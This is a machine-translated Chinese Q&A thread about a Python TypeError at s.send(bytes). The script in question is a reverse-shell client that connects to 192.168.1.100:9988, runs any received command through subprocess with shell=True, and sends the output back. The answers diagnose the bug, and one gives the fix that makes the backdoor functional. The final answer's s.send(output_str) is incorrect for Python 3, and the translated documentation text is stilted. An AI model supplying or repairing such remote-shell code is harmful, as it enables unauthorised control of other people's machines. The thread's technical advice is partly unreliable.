在 s.send(bytes) 处收到此错误"类型错误:需要类似字节的对象,而不是'类型' "



尽我所能。有人可以告诉我确切的错误领域。 还试图将其更改为" Encode(" UTF-8)*,但没有。

import os
import socket
import subprocess

s = socket.socket()
host = '192.168.1.100'
port = 9988
s.connect((host,port))
while True:
 data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
    os.chdir((data[3:].decode("utf-8")))
if len(data) > 0:
 cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True,        stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
 output_bytes = cmd.stdout.read() + cmd.stderr.read()
 output_str = str(output_bytes, "utf-8")
 s.send(bytes)

python2.x:

socket.Send(String [,flags]) 将数据发送到插座。插座必须连接到远程套接字。可选标志的参数与上面的recv()具有相同的含义。返回发送的字节数。应用程序负责检查是否已发送所有数据;如果仅传输了一些数据,则该应用程序需要尝试传递其余数据。有关此概念的更多信息,请咨询套接字编程howto。

python3

socket.Send(bytes [,flags]) 将数据发送到插座。插座必须连接到远程套接字。可选标志的参数与上面的recv()具有相同的含义。返回发送的字节数。应用程序负责检查是否已发送所有数据;如果仅传输了一些数据,则该应用程序需要尝试传递其余数据。有关此主题的更多信息,请咨询套接字编程howto。

您用Python2和Python3标签标记了您的问题,但是Python2.x和Python3中的socket.send()不同。在Python2中,send()期望字符串类型,但是在Python3中,它期望类似字节般的对象,您可以做的是将str.encode()对象传递给它。

您正在通过bytes,但它是python的内置类型,而不是字节般的对象。

您可以尝试s.send(output_str.encode()),它将将编码的output_str发送到客户端端(一旦客户端接收到数据,就必须对其进行解码)。

您没有将名称"字节"绑定到任何字符串。因此,内置类型的"字节"传递给S.Send函数。

您需要发送输出字符串,

s.send(output_str)

因为bytes是Python中的内置数据类型。

相关内容

最新更新